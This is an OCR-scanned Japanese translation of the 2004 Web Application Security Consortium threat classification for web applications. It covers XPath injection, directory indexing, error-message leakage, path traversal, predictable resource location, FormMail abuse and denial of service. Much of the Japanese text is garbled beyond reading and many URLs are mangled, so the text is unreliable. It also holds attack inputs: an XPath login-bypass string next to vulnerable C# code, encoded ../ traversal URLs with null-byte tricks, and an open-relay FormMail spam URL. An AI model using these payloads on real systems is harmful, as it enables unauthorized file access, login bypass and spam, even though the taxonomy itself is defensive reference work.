http://www.cgisecurity.net/papers,/header—based—exploitation.txt

“A practical vulnerability analysis”
http.//hexagon.itgo.com/Notadetapa/a practical vulnerability analys.ht

m

4.7 XPath f>oxHLav

XPath 1229 avid, a—H D A IS XPath ZHAAILTTLVS
Web A MIITEZEZDDIZHHAINAIKRERM T,

XPath 1.0 [£. XML FF a2 AV MR EPESHR T HDIZFEOLNESIEETT
XPath &, 77— a0 MEEFAL. XML FFR 2 AV MIBULED
HE1To1=Y. SUBRBEDKESOVLEO—EEL T, F=EAIEXSLT Eift
Z XML KX AV RMIMIF=Y ., XQuery & XML KA MI@EAL=Y
THDIZFEHLNFET,

XPath M 3TEIE, SQL VT EIFZESA D HY . EFE XPath Z{E->T
XMLREF2AVRTSQALZA VGO T)EENE T, 1=E A 1L, user ELVS
BERELABY. FOFNFNIZ 3 DD THALEZE -name, password.,
account-NFEET S XML FF AN HHELET, TEiLD XPath &
IR (&, name H¥jsmith] T password A Demo12341EWLNS1—HF DT H
DUREEERLTVWET(ZD IS —TAUVEITNIXEXFS),
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string(//user[name/text ()="Jjsmith' and

password/text ()='Demol234"'] /account/text ())

TI)r—230 M SUBA LT XPath YT E#AFIIT. RETIEE
WA—HDADNBITVIZASE BBEZHEXT—FEVT)ICIEATE
BTLED. TDF-ICERESNTI=0TUIE, TR SINERLI=EHD
EILESHETHRRSINET,

51

XPath Z{f 2T, XML FF 2 AV FDEIWLVEHEZET S Web 7T r—
AVERFILTHFET . BRIE/NRT—KRIXIZAT UM LZITERY .,
A—HYDTHIOVNBEEERETDIELET , EDKLSLET T r—3
V. NS DEEERE XPath VT IZHAAACTE FAMEX
)TAR—ILERBENBIHYET .

TEEAMEI T (Microsoft @ ASP.NET & C#&24EELFT)

XmlDocument XmlDoc new XmlDocument () ;
XmlDoc.Load ("...");

XPathNavigator nav = XmlDoc.CreateNavigator () ;
XPathExpression expr =

nav.Compile ("string(//user [name/text ()="'"+TextBoxl.Text+""'
and password/text ()=""+TextBox2.Text+
"']/account/text ())");

String account=Convert.ToString (nav.Evaluate (expr)) ;
if (account=="") {
// name+password pair is not found in the XML document

// login failed.

} else {
// account found -> Login succeeded.
// Proceed into the application.
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COFIGA—RAEONDE BWEBEEH(L XPath RIFEHEATEET
FEAF A—PRBELTRDEZENET .

' or 1=1 or ''="
29 BHET, TTD XPath DEMRMNEDHY ., BITXMLFF 1AV D&

DTN INBEEZERT EIIBYET, COHFEITIILTEDED
[ZEYFET,

string(//user[name/text ()="'" or 1=1 or ''='' and

password/text ()="'foobar']/account/text ())

NIETEERLTT(TARTO/—FDEENE LTSN SD T),
string(//user/account/text ())
//user/account/textODWRPII DAV ARAVAMGEZ6NET,

COWEDHKR . WEBEHIZXML KX AV RTYRMEN=HYID 11—
HELORT AT HEICHYET  WBEFIIERGI—T R P/X
J—RZAHIERLTULENZENM DD ST TT,

S EH

“XML Path Language (XPath) Version 1.0° — W3C Recommendation, 16
Nov 71999

htto://www.w3.org/ TR/ xpath

“Encoding a Taxonomy of Web Attacks with Different—Length Vectors”

— G. Alvarez and S. Petrovic
http.//arxiv.org/PS cache/cs/pdf/0210,/0210026.pdf

“Blind XPath Injection” — Amit Klein
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http://www.sanctuminc.com/pdfc/WhitePaper Blind XPath_Injection 20
040518.pdf

5 RB|LAH

ZDtEH IV TlE. Web YA DU AT LEHIEFEROEEGEEE -
BIZONWTEERLET . Y ATLEEBRICIE. VIRIZTDT4RE
JE2—2300NnN—230 B NUFLRIVEELRHYET, HLLIE.
INVIDTITI7AILOTURTYIT7AILDBFRIZDOVNTOERLEE
NBHTLLY, LWTL\DHE. COBRLENI—TFD=—X% 1=
TDIZKLELEDOITTEBYERE A LVTLD Web AL, HAEIRE
DT—RERETWNET, LML, TEBFEITDT—HEHIRTHD
NEETY , WEEN Web AR DWTIEREANIZENZIFE . &
AT ALIEOONPILEYETS,

51 T4LYR)DFE5|{E(Directory Indexing)

BEIMIZTALIM) D) RARERR-REETHDI(E. Web H—7 D15
BETY . COMBEIL. VIT RS I=TALIMIIZEEDEKRT74A
JL(index.html/home.html/default htm) MWLM S . 771 ILE Y R
IELET . —F D Web YA RDAMUR—CF YT RANT B @8
[ http://www.example(FAf B ZFHAL. BFEDIT7AMILEANTELY)
DES URLZEAHALET , Web H—/N\ XDV I TR EMEL, F
XAAVRIL—FTALIRITTIAILEDIT7AILBEEL, COR—D
EOSATUMAZEYFET , ZOR—SHNFEELEFNIE, Web H—/ 8
TALIN)DYRMERTRL, FOHAEISATUMIEYET,
HARBIZZHIX. Ns1(Unix)ELLIET dir I(Windows) AR REZD T AL
OR)TETL. ZDHEZ HTML DA—LTRIRITHNDERLCTY . I
BLROANMNTDHE, FAELBTALIMNID)RMRTIE, FED
Web YO T RRESEUL DW=V IR 7 DB EER D3> T
CENITERALTWSENDH D, ERBT HEMNKUITY,

Web H—/\DTALIMN)DHNBZREHE. DEHZERLTULELE
HMNZFDYRAMIRTEINTLWSAMNELNFEEA Web EIEBE (L, [
HMIZ&KDtEF 1Y) T41(Security Through Obscurity) JICEEYMNBTY , K
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FAARADNAN=) O EITRIERBSNGENESS, S#HR
FAANEBIGWNEASE, CDREILEHESTULVET , Nikto D KD
HEILDMESFHERXvF—IE, BIMIZTALIRIDBT7AILZEML,
[FLHDIERNF =T —FETITLIREF Y HEALET,
/robots.txt ZFEEL. TALYVMNIDRFIDHNEERH_ET, MEFHEHER
X F—IEINFHLWVT—2%TIT, 512 Web H—/NIZRLVEDE
MTEET , BETHARENRLHYET M., TALYVMNIDERSEIXIE
HE)—IL. VATLIZH T EHI0EEBMELLENTLDIZHERLR
HE . HWBEEANRETHIEIZHEIMELNEEAS

il
TEEE. TALIMDFRFET—2ZRICIMETESNLLNGVE
]TY

e INYITYTIT7AIL — HiiEFHVbak *.0ld. .orig DED,

e TURTIIFAIL - BEIETH—/N\HSEYBKEMNBEH, f[AI5h
DEHTEEFATELLD,

e [BELI7AIL - TLIEVARTIELEST7MIL 4,

o BB ML LZRIMTIT - BMEEIL Web HAFTHEHLNTNSTAL
IRIRT7AIL DA RAZRE TESENLLNGLY, 6
Admin vs admin. backup vs back-up &,

o A—HFHIUEEFS - Web H—/NNEDBEANI—FDTH
DUMI BEI—YTHOURERILAHID home To4LIKY)
=50,

¢ RTET7AMILDAZA — .conf .cfg. .config ELNOT=LiEFZHFD
BEI7AIVICIE. TORRFIEDT =2 A>TV EhE L
5Ly,

e RVTLDAR - Web H—/\DKEH L. ROV TREERTTS
DIZAD)TrDESHZAR(FzEZ K., /cgi-binZtEEL=Y.
H—NERELT. T7AILD/IN—Zy a3 (f=EZ I, #nix ¥R
TLDEFTE YA Apache D XBitHack G f)ICEDNNTI 74
WEETLEIELIEZYT S, oA T avITeoT,
cgi-bin AV TUYDTALIMNIARFESNS L, /N —2vi T
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UHEYTHEWNEE . RV TOa—FEF D A—FLEAET
ETLFED,

ERLTWWEWTALIR) D) AR TE . KEENSIZSHTENDOH
617'—Z[i 3 O%Uij_o

1) B> TWeb H—/\MNEEESIN., TALIMNINREESNDIEE,
Web BEIEEMREI7MILTTALIMNIDREIEZEZRELTLY
B HEDRTENMNALGEINELNFERE A, T, U—/ D4
EDYITTALIMNIZTALIMIDESIEERDH . ZDHD
TALIRJIZIEROHEL, EWSEILBEMERTEEZT SE. L
LLBWMERICESABEELADHYET . KBEFOE AT HE.
HTTP UOTAMIRHRDEDERLTYT , KEEIXTALIRN) %
JOTARL, BAEOVTUOYERITERNSENEINZRFET,
WEE(X, Web H—/I\DZDESZEHRESN TSR JIZE
DEEHYEE A,

2) Web H—/\@QAVR—RUMIIE BEITF7AILTTALIRID
REMEZFZIEL TN =Y, AV TYIRIT7ZAILHDEELTL =Y
LTH. ZEUESNTLESBDOAHYET . ChiFTALIMNIE
SMEZIELICIERTHIM—DHITT 8 FED HTTP YU T XK
% Web H—/\[2iX B &, TALORMN)IBRERSUESNTLESHETE M
N BAUINEWNIEFELTEEL

3) Google D¥y v aT—EIR—X L. BEICHTED Web A%
Ax ¥ L=T4LIMN)DES|Z. BET—2ELTHEH-TLS R
nNhHYET,

S & Xk

Directory Indexing Vulnerability Alerts
http.//www.securityfocus.com,/bid/ 1063
http.//www.securityfocus.com,/bid/ 6721
http.//www.securityfocus.com,/bid/8898
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Nessus “Remote File Access” Plugin Web page
http.//cgi.nessus.org/plugins/dump.php3 ?family=Remote%20file 520acc
ess

Web Site Indexer Tools
http.//www.download—-freeware—shareware.com/Internet.php? Theme=1
12

Intrustion Prevention for Web
http.//www.modsecurity.org

Search Engines as a Security Threat
http.//it. korea.ac.kr/class/ 2002 /software/Reading%20List/Search%20E
ngines%20as%20a%20Security%20Threat.pdf

The Google Hacker’'s Guide
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_G
uide_v1.0.pdf

52 1HFHRRHR

IHERREE L, Web YA MBI BEDAAL OIS —Avt—T K54
BDT—AZRETLEIGEITREL. DATLITHTEE 5258+
EHYFET  MBEOT—FIEHTMLO AV RO IS —Ayt—D Y—X
O—kDHIZHoIZYE, AIRGCEWFRIZG>TWWS LN EE
Ao Web AR DEDIFHRESSITTLEIAZIIIKSAHYFE
¥, imBIEINT LEEF 1) THERETTIDTEHYEFAN . K
BENSEBRITHIFLINMNELTERILET  MEFHRORRIL.
BRARGELANILD)RIEIFVIHERIBNLIHHD T, TEBETHZ
BESIZLTLEELY,

BB EORVNDT—A(OA—KRIZESaAV MO ERIS—AY
T—UF)TIE RRICEH>THEENTALIVMNERY SQLIVTYD
B, Web ML TEODN TS EEZELGTOLR B EVS-EBRIEHRE
B5TLLD,
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FAREIL. T/\VTORREEIZTTHEMT, HTML 2 RIUTRD
O—RHR[CaAVEFBWNV-FFICLET,

ZDERIE. FDORIVTIDEDESIZENET DD H., ELVoT-Bi s
OAVIDS, AEOTRAMNEE THEHLNDSILI—F R PO/NRT—F &LV
FREDLDIZETRUVET,

IEHRRIL, B EAEIN-T =2 L TEHETIEFEYET A,
Web H A MIZEBALEINEFRELTVWERT A COBERICZIK. THOY
FEEOLI—TDIBAECEGRIFEFEL/N\RAR—EE. HERE
BEE), A—YERETELT—ATHIOUCDIEZPEFR. LIEE
BMHYET,
TEULZRERDBIIEEAA. RED-OICEEEFRSILT S
H. T—ANDT I REEYIZRE-ERTHEICEELTLET,
WEDEZLEL. VTFATUADBED FSIZH—/NTELTIEMA
E T, Web YA FBAHDEFES T, CORRETHORBFTRIL. 1—
FISH L TERIEHEY LRI RETHL, B EALEINIEELR
A—HT—2DFAREEELTWEYT , VLDV h—FES (X, BEX
GBI ET IR EHELTOTH, FRORRICHLTRY —BRE
NLBELI—FT—AORREHITT,

il
FHRHRICITEICIEEHYET , A—FIEoIA VM BREGT
FT—Ayt—U  FCICANBMET —H2TY,

a—RZFRS e A

<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>

<!--Tf the image files are missing,
restart VADER -->
<TD bgColor="#ffffff" colSpan="5"
height="17" width="587">&nbsp;</TD>
</TR>
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NERTHMNSEIIC. ARBEEL QABAENELI-OAVMNE,
B I7AILOBENGEWNGEICAEZET REN, ZRLTVET , O—F
[ZEATRENTULVSIVADER I EWVSH—/NDRARE A, X2 Ta L
N RITHEYET,

MREIS—AvE—CDF2, BHLEITIANDL AR ANHYFE
T, BEGHIX. SQLYTVIZE DD DI S—AytE—UTY , @BE SQL
A0V HEIL, HEBENZFDHYARD SQL VT DIERRIZE
O TWAER O T+— VMDDV TORHRAEZE > TLAREMN
HYFET . AREIS—AvE—2ICE-TRBLEERE, N\voTY
FDT—FR—ZADIELLSQL VT (X ESPOH->THAITNIEILLID
M, ELVOBH TEELGRRMEMERICIRHMLET,

TEIZ. AT AR=DIZHBIA—HFEBATRAMOT4ZE A ALI=5
BITHR->TLAHIZEZEITET .

MRGEIS—AvE—D

An Error Has Occurred.

Error Message:
System.Data.OleDb.0OleDbException:
Syntax error

(missing operator) in query expression
'username = ''"'

and password = 'g''. at

System.Data.0leDb.0leDbCommand.
ExecuteCommandTextErrorHandling ( Int32
hr) at

System.Data.0leDb.0leDbCommand.
ExecuteCommandTextForSingleResult

( tagDBPARAMS dbParams, Objecté&
executeResult) at
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BPDIZT—XTIE OB YIRIT—HAHEINTLNET , DI
F—Ayt—UlE, SQL VTYTHERAIN DSV I D/ NTAS -username
& password-ZFiRbLTULVET , CORBLI-IEEHRNS. WEBEHIZZDY
AMIXT S SQAL AV DTV IV RBEMAILTEHETO>ONTEEZF
E

S5 3k

“Best practices with custom error pages in .Net’, Microsoft Support
http.//support.microsoft.com/default.aspx?scid=kb;en—us;834452

“Creating Custom ASP Error Pages’, Microsoft Support
http.//support.microsoft.com/default.aspx?scid=kb;en—us; 224070

“Apache Custom Error Pages’, Code Style
http.//www.codestyle.org/sitemanager/apache/errors—Custom.shtm/

“Customizing the Look of Error Messages in JSP’, DrewFalkman.com
http.//www.drewfalkman.com/resources,/CustomErrorPages.cfm

ColdFusion Custom Error Pages
http.//livedocs.macromedia.com/coldfusion/6,/Developing ColdFusion.
MX Applications with. CFML,/Errors6.htm

Obfuscators :
JAVA
http.//www.cs.auckland.ac.nz/ cthombor,/Students/hlai/hongying.pdf

53 /N\RFEY¥Z (Path Traversal)

INZAFEYMZ INE (L. Web DRF AR IL—FTALIMNI DN ZH DB E
BbhndIT7MILOTFALIR) A< RIZ7OEALTLESFETTY .
WEE(LX URL #L\C> T, Web H 1A Web H—/ N EDIEEDT7A
ILDRBEZETLIEY. HoDICLI-YT B TLELI HTTP R—X DA
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VBRI —RENFLTWST NA R NARYRZCHEFETHLHR
naHYEd,

F=LATLD Web AR K, A—HF DT I ERZITFAIL AT LDEE
DEHIZHIBLTHNT, BEZDEBD(EXWeb DRFa AV MIL—FIH
LLIXTCGI =R ITALOR) ERIENTWVET , ZOTALIRJIZIE
A—HRT7IEAL Web 7T )5—2 3V FBNT DICHELRI7AIL
NEELTLET,

T7AIILROAR KR ITZPAINV AT LLEDEZIZH-1=ELTH. T
[ZT7OvR-ETTHEH. NARFYBRIAREBIARDYILEYSIID
BaexFIALET,

ROUERULGNRARYBZIAKE(L, [L/IARD Y ILX NS I3%FEL,
URL TYIIZRrENT=)—RADEEBEFHRSALET , EA% Web
H— /XD KED (L. Web DRFAAVMIL—FEIRS—TFTBHIEICL
Y. ZDTO=vIEREILTWET LML, L./15ZRID A ETHE
It HET, EF)T4700L3FRBYIRIFTTLEI ML EE A,
CDEEIIHRA T, AU aXFRIOIELLY-IELLZELY Unicode &
1B(" . %u2216” £ LLIE" . %c0%af”), Windows R—ZXDH—/\ ED/\vH
AZ5va(”.¥), URL FF B X F("%2e%2e%2f”), IN\Y D RT3y 1% 2
[B] URL FFB1E(".%255¢" ) MHYUET,

Web H-—/\HY URL /NRAD/NRFEYMZ DT HZ#EYHNZ TLNTH,
FEWeb 7)) —2 3V BIRICA—F DA NFEELERZ LG, ELVS
MESESNEETINELNEREA. CORREIE. ToTL—rEFERL
=Y. 7ML L& T X ANE TR AATEY T S Web 7T 1) r—
AV TEGEBIVET  BRAEHEIZH T, Tt URL /NFAZDIEIL,
Web 7T —a  DENBIERAD) TRDIT7A LB D—DIZESHZ
BNET, TDFER. I7MIVIEEFTERXDRIITRTIIEL, TF R
FELTEIRESNED T, YV—Ra—FAHohIZHYFET,
NEDTI=YIIE, SHIZRYR. YD KIEAR v VX ¥ 59 3%
EWN, AL T—F T TALOMNID) AR ETY R E2HT7
AR FF v oF T YRITB=HIZT%00INUL 59 42%F o1l
LEY,
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/il

Web —/NITR9 B/ \REYHZ NE

INEE: http://example/../../../../../some/file

ILEE: http://example/.%255¢..%255¢..%255csome/file
ILZE: http://example/.%u2216.%u2216some/file

Web 7T 7r—Sav oxtd H/AREY I HE
A1)TF I http://example/foo.cgi?home=index.htm
byg ¥ http://example/foo.cgi?home=foo.cgi

EFEEDHTIE. home ZEHDEIFaTUVELTHRONED T, Web

7)) r—avid foocgi DYV—ROA—KRZHobIZLTLEVNET,
DT—RATEETHIRIT. RBEEHNRBEMINSE SOOI, FIEXR
XS PAONREYBZFADX I3 MELELLLENVRTT , W
BEIRICLTALIRIZHBRDIT7AILE indexhtml EHEL, Z—

TYMZLET,

AR\ TUREFE o= Web TT) r—2avIcxt g /AR FEY 2
ABE

AV I
http://example/scripts/foo.cgi?page=menu.txt

by 2=
http://example/scripts/foo.cgi?page=../scripts/fo
0.cgis00txt

LROBETIE. Web 7TV 7r—2aV AR Y ILE YT URZEEL,
foo.cgi DYV—RA—FZEHLHOIZLET M. 151X, IREWLNSTALILY
D—D2LDTALIRIIZHEENTHDIZFEHH., /scripts TALIRIZ
AYET, 1%00151(&. Z7AIAREFDF v IETUIRITSE =Y.
774 IWEHEARAORIZ ILEFERYESYTHEEICHELNE
ES
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S & Xk

“CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in
IS’

http.//www.cert.org/advisories/CA-2001-12.html

“Novell Groupwise Arbitrary File Retrieval Vulnerability’
http.//www.securityfocus.com/bid/3436/info/

54 1)Y—XDEIEZHRITS

1)) —RLGIEDHEAIL, Web A FDIELaVT Y PREREZH LI
THARERMN T, AZEFEO AV TUOVERBMSHAITEIE
T.HBU-YTHELEBLET . ESoIELLICH-,TWAERDHOhNST7
AIVIZIE, TFURTYITFZAILONYITITI7AIL ’RETF7AIL, Y
DTN ITFANDHBYET LU -YTETOIXEETT, £LVSDIE,
BLIZ7AIILIEHYNBLHGEBAICEKDIELDMNEZL, RESIGRIC
HAGENZLINLTT , ChoDIT7AILIE, Web 7T 5r— 320K
HBOMEBROT —IN—RIFHR. INRT—F, T2 B FDHERE
WADT7AIVLINATY , ZELTHRBEMBLNALGVEDZ AT 5ME
LhFEBA, HBHIZEST, COBRHRARIIEETY,

JY —ZXDEBEZEFREZHATEIZEIE. BTS2 (Forced
Browsing) 774 LT 4L oK) D 5% (File Enumeration, Directory
Enumeration)’ZZE ELTHRILON TLVET .

51

ENHEEL. HTEFATES Web H—NIZRLTIE. FEDT7A
WRTALIRIANYOIRANNHEF T VY —RADH L. Web H—
IND HTTP LAR RAO—RTCHITEET, UV—RDAEZHAT
BIMEIZIL. WO EEEINHYET,
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— WG I FAINOTAL ORI ZFEYREICET
/admin/

/backup/

/logs/

/vulnerable file.cgi

BEFDI7AINAICH R FZ {11+ 5(/test.asp)
/test.asp.bak

/test.bak

/test

6 O vY %I ->1=HE(Logical Attack)

—DtEHLIAVTIE Web H—/ DOy HoO0—%ERATHEICES
HEUTCET . 7IV—2a30o00099(3., HEEMEEERITIT H=0IC
FERSNDZEARRICLI-70—TF , NRAT—REIEPTHIUE
BR.A—9I 3 ADAF . EQT—ATOEAIZ. I RTF7T)H5—
3vAYYITY , Web A MNIBFEDNEBETET SESH. 21—
[CEHRATYTDTACREFE LB LSITKROHET , WEHEIIZD
HeexEERIL-Y . ERAL-YL T Web A1 —HFRSEFET,

6.1 HREEDEHR

BEEEDERIL. Web A FE R F- TV IFEOKEEEFIAL. 772
T A G EHEREZFIRIEL =Y |oE -7V, EIELI=YLET , Web 5o
FOBEEIZIE, TN EF L TAHEETHLTH, FTENDEITET
BEDBHEIMELNTEEA BEEDHHE A BRI L TERE
e, BOKRBE IO —FITREEMI T, ZEICKDEC AT LA
EREFOMBIMNBLLNEE A Web A RO Web 75— 3z
FoT. EFDAREMEFDRREIIHR L TT,

MEREZF BT 8T IE. thDFEFED Web 7T r—as B EF R
[CREHEL TLBIGEN KL HYFET , FEILIREEFITLN, Web FRZRIBEE
Z)E—k Web TAVIANEEZTLEIVIUXFIEHLRAT DL,
ZDHITY , BEEDERIX. B AZEOTDIZHLILEONET, -
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EAE. REEZITVOARG AR TT420 D—E % Web DF ¥k
Ty a AN, A AAHDIEHERESLTRIAL, FEHOI—FEZ
DHALSIKRIZERSEET,

RRELITAHE AVEL—EIR—ZAD VAT LIZHT DM RMGIHE
[T AT HEDERZHNET , TLEHOLECOHEIL, TTOHEEIC
[XIFEAEFEMAT . EFIGE Web 7T 75— a0 Z R EGZBHIICHE
L REGEDELTLES. EEZAFT .

51

BEeZ BRI 5HIIERDEY TT , a)lWeb YA FDERREREL(FELY.
Web TAL IR ) DI HIMEZDIT7AILIZTIERT B, b)T7AILE
TyIO—Rg 53 TORTLEREHE. AEBOEZELREI7MILE
BEEHZ 5, c)Web DAY AU RTLAIZIEELWNA—H R EMEST=/8
AT —RZEEVYHEITTDoS MBEFTHZET. AT (VD BRITRIEE
BASE, ERAI—TEHMOBLTLES . TOMERIZHIHEILR
DBEYTT,

Matt Wright FormMail

Perl R—Z M Web 74— 3> DI FormMail (&, BELI—HFHA
ALz —LT—3% . HohLHROONTIZEFA—ILTRLANER
ETHDIZFASNET,

CDRIYTHEENT L Web AR ETI4—FRN\VIEFEDHBDIC
BEFRITYT, TNHAEHT. FormMail RZV) TrIEAL 542D CGl R4Y)
ThELTETEARDHATOT S LIZIHYEL, =EBERSEIEIC,
CHEAMDOEIEFENOTIAHIZELGY., JE—FDREZHY
E—rDZEBOHIZTLEFA—ILEZYDITONDESIZHYFET,
DFY. DO Web 7T Tr—avId, BIEDTZHH D Web I XK
[ZE2T. ANLYL—IUDUZEFLTLENET,

WEE(LX,. EHADEFA—ILE/INTARELT- URL Z24EY . XD £5%
HTTP GET # CGI [CENIEKULVEIF T,
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http://example/cgi-bin/FormMail.pl? recipient=
email@yvictim.examplesmessage= you%20got%20spam

BFA—ILIE Web H—/N\ZFREYFELLT, fERENF=FFIZERSIND
DT . HWEEII Web 7TV r—SavATRR2IZEEETEET . D
N—=23V DRI TRIZIE, X ) T4 BIEREHYFEEA L
NoT,  ME—ENBIFEFERIE, V—REEZHRZ . BEEEFA—ILT
FLRZANTLESIZETY , SELFNIL, RFNBIZH A RH S Web
TINVr—2a E T2 ICHIRT A0, BEEMASELNTEEFEA,

Macromedia Cold Fusion

Web 77 —2a 2 A TWSEEY—ILIX, BESN DB THE
[CRIFHSNTLESSHELRHYET , F=&Z X Macromedia Cold Fusion
(X, TI7AHIMRETY—RO—FZR5=-HDHHAHAAHED 21— IL%
FoTHY. BINGFIATEETYT . COEDA—ILEERT HE. Web
TIVTr—av DEEBGFRNFRTSHEIHEYMIREE A,
CDEDED2—ILIX. YT ILT7AIL T ERHERETH AL, BHL
VAT LAVKR—R N THIT—ANKLBYET , 2OV R—Fk
(XEEFED Web 7TV —2 a3 AT LEERZLTWNAD T, ZOHERE
FENCTHICIEIMENZ R HYET,

Smartwin CyberOffice ¥avE I H—FDEKEE

WEEHL Web 7T — 3> DEMEEEE T HI=DIZENA T4
AHETT—AERIATHFIC. BEEDBERAMNEIYET, AR,
CyberOffice D3 vE VT h—bIE, Web 74— LICHFEHET HELME
T4—ILREZEZBDETRONET , TD Web R—UFEREICAIY
O—FLTEEL. EHDEEZMBICHEL-ZR. BEITLET,

S & 3CHk
“FormMail Real Name/Email Address CGI Variable Spamming
Vulnerability’

http.//www.securityfocus.com/bid/3955
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“CVE-1999-0800
http.//cve.mitre.org/cgi—bin/cvename.cgi’name=1999-0800

“CA Unicenter pdmcgi.exe View Arbitrary File”
http.//www.osvdb.org/displayvuin.php ?osvdb_id=3247

“PeopleSoft PeopleBooks Search CGI Flaw’
http.//www.osvdb.org/displayvuin.php ?osvdb_id=2815

“lisCART2000 Upload Vulnerability’
http.//secunia.com/advisories/8927/

“PROTEGO Security Advisory #PSA2004071”
http://www.protego.dk/advisories,/200401.html

“Price modification possible in CyberOffice Shopping Cart’
http.//archives.neohapsis.com/archives,/bugtraq/2000-10,/001 1.html

6.2 H—ERER

H—E REBDoS)IE, WebH A N —F A —HFADH—ERFHEL
FOETHARERM T, DoSHE (L, RYrT—VEIZHTHEDH
— R TT N, FTIVT—aVBTHRIEETY . COBEHIHER
&2 T VRTLDEER)Y—ADHEEL., EHELAFIRASII, H#
EENERAINIBNALHYET,

DoSILE (X, Web Y A+ THIBAIBELL £ AT L)Y—X-CPU, AEIJ,
TARDEEHE-FRELGENRLESIELFET,
NBIDDEER)—ADENEFEW>TH, BEWebHF A -AT
D AN TEHERYET,

WebH — /NPT —ER—XHY—/\ B —N\ZIILHETHS5HD
Web7 ) —Sa miE Tl 7I)5—a B ODoSKEIL., Fh
FNIRIILF-aAV R—R b EF 3= YNMILET . ZEDEGZ VL EL
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FTAELRYNT—IRBDDoSHWELILEWL., TIT)r—2 3V BMDoSKHE
XEFTITEIOLNELE[ETY,

51

HEOLHR—NEERT BERE Web A REHIIZLELLS, LR—FD
IKELBHD-UIZ, Web HAMIT—IR—XIZHWLVEDHHE. 1 DD%t
SREESICHRYT AR EN - TEET (22— HERD)T—
AR—=RA+AHEDEFENRESINTINSET HE, A—THRE
LAIR—F2ZITIADIZ. 3R EEFOBELHEITLELS, 324 T 5508%
ERERTDHID 3 HDE. T—FR—XH—/ D CPU (X 60%DIFENZE
[ZREYFET,

FLHBTT)r—aVBD DoS WEIL MEDLAR—FEERT S
BILYSTAME 10 EIZRITET, COYHIITRAMNILDT Web A&
DoSIREEIZARY . T—RAR—XH—/\D CPU (L 100% DB ZEIZELT
LEISTLLD COBRT, —RA—VEVRTLANZFEAETIER
TEHRUVREEIZRYFET,

FEDL—YEX—2 NIz DoS

BAEIEIWeb A bDA—HELT, BYRLATAULESIELET,
FNEDOIEREGINRT—REE-T, 55 FERETODI—FI(E
OBEINTLENET,

T —HX— 2 — X —5 o NMILTZ DoS

RAZIESQLAV DI av HfiEEN, T—2R—XEEEL. VX
TLEEMDICESELET (AKX, &2 T —4%HIBRLEEY . 21—
SR EHIBRLIZVE),

Web Y— %% —27 > MILTZ DoS
BAZBII/N\YT7A—N\TO—EMZEFEL. Web H—/\DTOER%ES
Sy asEAEMICEYRAATREY I RN EREYIAH, —fRA—F A
ATLIZIFEAET O ERATELGRVKREIZLET .
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6.3 B tDEILLFEY)

BHEIEDFEIEATE L, FEIZES>TDH Web A FTEITTAR
ET70ERE . WEENABFHELTLEVET, BEFMEHENSZYT
% Web YA ~DEEZSF > TLZELY,

BEORYNITATSL)PHEEZFINZ T (2L DE, Web YA D HERE
YU RLUETL, VRATLZILLTHEEBICLTLEVWEYT, BFAKRY
MEBRS SBEICRIFLDUITRNEEITL, HEEdPY—ERDIET
5|ERILET,

f=EZIE, BEIOR YRS RBIC—FHLOHELWT A NS AY
TYTTERNESICLTIZELY, B, BEBIORY OB RIRICEY
EBLEREL. thD1—HITKEEMTHENESIZLTEEWD, ARBET
MEEZETELESITHIEDZEMIFTTLIESLY,

S %E Xk
Telling Humans Apart (Automatically)
http.//www.captcha.net/

“Ravaged by Robots!, By Randal L. Schwartz
http.//www.webtechniques.com/archives,/2001/12/perl/

“ Net Components Make Visual Verification Easier’, By JingDong
(Jordan) Zhang
http.//go.cadwire.net/?3870.3, 1

“Vorras Antibot’
http.//www.vorras.com/products/antibot/

“Inaccessibility of Visually—Oriented Anti—Robot Tests”
http./ www.w3.org/ TR/ 2003/ WD-turingtest-20031105/
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6.4 FEYLETOLADKREL

TOCRDREL BN L, REE (X Web A DT T Hr— 3>
D7a—HlEZEREBELTLENET, TAERFELTA—H DIKEE
FREEL . BBEILAELNE Web A MEIEREFRETAICHSSIZHDTLL
Do

A—HH Web YA +DHAHHAEELTRITT DR, 1—F[FRDHONT-IRE
FTHEATIKEDE, 7TV 7r—2av FBELTLNSTLED,
A—YHHEIRTYTER>TEITLIY, IEFZMEST-YT HE,
T—ADTLUNBRNET . BHRATYTZBLTOERDHIELT,
EEWL/NNRT—FEIR BAFHRE. THOUND Y ATV TENH
YET, BoKCDLIBETAERIFE HOoMLHROONF-RTVTE W
BELFET,

BHRTYITERELTHTOREEREICHEESEDIZE, —N
TOt€R70—2VA[E., T —H DIRELZEIELTLSIRELHY
F9 ., Web AT, BEI—HDIKEEF S YF—A5 hidden HTML
J4—ILETEBELET . LHL. BEMER LS Web TSSO RADISAT
UMIICRTEShBGEAF. T2 EHERELLZTFNIENTEE
Ao TOLTNE HEBEEFTREDKREEZHSAL, BELTLV=OY
WMYAZEZEEEBELTLEITLLD,

5l

BHBELTUSADIAVE T H— AT LIZ,. A—HE G AZEA
THLEBIETEH, ELFELLD, A—FITHE G A TIEAC B A B 48
ALF-WEB-STWET R ALEBELavEV ST h— AN FEE
FHREICAY, ZOLI—HFIZESIENERSNFET, COFI—HN
FEEFHEEFIRITEL, &5 A ZHIBRL. RORXTYTIZ17<HENIIZER
TOFFEERLET . ZLT. BEREFHREICALLE LHEIORBEF
HETCHRAICERAEADESIENZFOEFHIZHY, BAMKXTE
MmEnt=FFXIZHYZFET,
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S & 3CHk
“Dos and Dorl' ts of Client Authentication on the Web’, Kevin Fu, Emil Sit,
Kendra Smith, Nick Feamster — MIT Laboratory for Computer Science

http.//cookies.lcs.mit.edu/pubs/webauth:tr.pdf
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Web Application Security Consortium
http://www.webappsec.org

BEIWLWEDHEILXEFA—IL T contact@webappsec.orgc E CHEALVLE
9,
[FRE: BAREROFRICEEIT HEEWLL. &8 B(hisai@din.orjp)E
TITEELEELY, )

62
Copyright 2004, Web Application Security Consortium. All rights reserved.



Web 77— a DuFa)T4BEI(E, BEE TIESEATE

RONEDANOMBYET , COMERTIE. TNDDKES HD— 5
[CDOWTERLET . CORREIZDUNTIE, Threat Classification D5

ZHRTHRRITTRIFETT .

1.1 HTTP LRKRV XD 5 E

HTTP LARU RZHDENTHMEL., (DK ER)EIZ3I DE I HIER
SNTULET,

e Web #— X-HTTP LRARU AD R EIA A fels X)) T47R—
ILZHB,

o X —FyR-INBE(ZMHHDT Web H—/NEPYRYT S,
X aH—/INTA+T—K-YNN—RTO5)0TSHH(L 45
TS50 DF vy 1) THIT—RAMZLN,

o WEF-WEELENTIA,

HTTP LRARVADRENIDEIL, HEENEIMD HTTP U IR+
